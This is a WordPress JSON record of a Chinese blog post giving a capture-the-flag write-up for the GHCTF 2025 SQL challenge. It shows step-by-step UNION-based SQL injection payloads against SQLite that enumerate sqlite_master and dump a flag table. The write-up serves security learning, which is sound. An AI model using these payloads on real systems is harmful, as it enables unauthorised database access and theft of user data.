{"id":3102,"date":"2026-03-07T12:19:19","date_gmt":"2026-03-07T04:19:19","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=3102"},"modified":"2026-03-07T12:19:28","modified_gmt":"2026-03-07T04:19:28","slug":"ghctf-2025-sql","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/03\/07\/ghctf-2025-sql\/","title":{"rendered":"GHCTF 2025 SQL"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307111735-3.png\" alt=\"Pasted image 20260307111735.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307111034-3.png\" alt=\"Pasted image 20260307111034.png\"><\/p>\n<h1>\u4e8c\u3001\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u4ee5\u53ca\u6ce8\u5165\u7c7b\u578b<\/h1>\n<p>\u8f93\u51651&#8217;\uff0c\u8fd4\u56dehacker\uff0c\u8fc7\u6ee4\u4e86\u5355\u5f15\u53f7<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307111417-3.png\" alt=\"Pasted image 20260307111417.png\"><\/p>\n<p>\u8f93\u51651 and 1=1#\uff0c\u9875\u9762\u8fd4\u56de\u6b63\u5e38<br \/>\n\u8f93\u51651 and 1=2#\uff0c\u9875\u9762\u8fd4\u56de500<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307111948-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307111948-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260307111948.png\"><\/div><br \/>\n1=2\u7ed3\u679c\u4e3a\u5047\uff0c\u8bf4\u660e\u6267\u884c\u4e86\u8bed\u53e5\u5b58\u5728sql\u6ce8\u5165\uff0c\u4e14\u4e3a\u6570\u5b57\u578b\u6ce8\u5165<\/p>\n<h1>\u4e09\u3001\u5224\u65ad\u5b57\u6bb5\u6570<\/h1>\n<p>\u8f93\u51651 order by 5#\uff0c\u9875\u9762\u8fd4\u56de\u6b63\u5e38<br \/>\n\u8f93\u51651 order by 6#\uff0c\u9875\u9762\u8fd4\u56de500<br \/>\n\u8bf4\u660e\u5b57\u6bb5\u6570\u4e3a5<\/p>\n<h1>\u56db\u3001\u6d4b\u8bd5\u56de\u663e\u4f4d<\/h1>\n<pre><code>1 union select 1,2,3,4,5#\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307112931-3.png\" alt=\"Pasted image 20260307112931.png\"><\/p>\n<h1>\u4e94\u3001\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d<\/h1>\n<p>\u8f93\u5165database()\uff0c\u9875\u9762\u62a5\u9519\uff0c\u8bf4\u660edatabase() \u51fd\u6570\u5728 SQLite \u4e2d\u4e0d\u5b58\u5728\uff0cdatabase()\u4ec5\u9002\u7528\u4e8e MySQL<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307113442-3.png\" alt=\"Pasted image 20260307113442.png\"><\/p>\n<h1>\u516d\u3001\u83b7\u53d6\u8868\u540d<\/h1>\n<pre><code>1 union select 1,2,3,4,group_concat(name) from sqlite_master#\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307120011-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307120011-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260307120011.png\"><\/div><br \/>\n\u83b7\u53d6\u5230\u8868\u540d\u4e3aflag\u3001users<\/p>\n<h1>\u4e03\u3001\u83b7\u53d6\u5217\u540d<\/h1>\n<pre><code>1 union select 1,2,3,4,group_concat(sql) from sqlite_master#\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307120508-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307120508-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260307120508.png\"><\/div><br \/>\n\u8fd4\u56de\u5185\u5bb9\u5982\u4e0b\uff0c\u5176\u4e2dflag\u4e3aflag\u8868\u7684\u5217\u540d<\/p>\n<pre><code>CREATE TABLE &quot;flag&quot; ( &quot;flag&quot; TEXT ),\nCREATE TABLE &quot;users&quot; ( \n &quot;id&quot; INTEGER,\n &quot;username&quot; TEXT,\n &quot;email&quot; TEXT,\n &quot;phone&quot; TEXT,\n &quot;address&quot; TEXT \n)\n<\/code><\/pre>\n<h1>\u516b\u3001\u83b7\u53d6\u6570\u636e<\/h1>\n<pre><code>1 union select 1,2,3,4,group_concat(flag) from flag #\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/03\/Pasted-image-20260307121009-3.png\" alt=\"Pasted image 20260307121009.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>sqlite\u6ce8\u5165<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u4e8c\u3001\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u4ee5\u53ca\u6ce8\u5165\u7c7b\u578b \u8f93\u51651&#8217;\uff0c\u8fd4\u56dehacker\uff0c\u8fc7\u6ee4\u4e86\u5355\u5f15\u53f7 \u8f93\u51651 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[91,6],"class_list":["post-3102","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-sqlite","tag-sql"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=3102"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3102\/revisions"}],"predecessor-version":[{"id":3105,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/3102\/revisions\/3105"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=3102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=3102"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=3102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}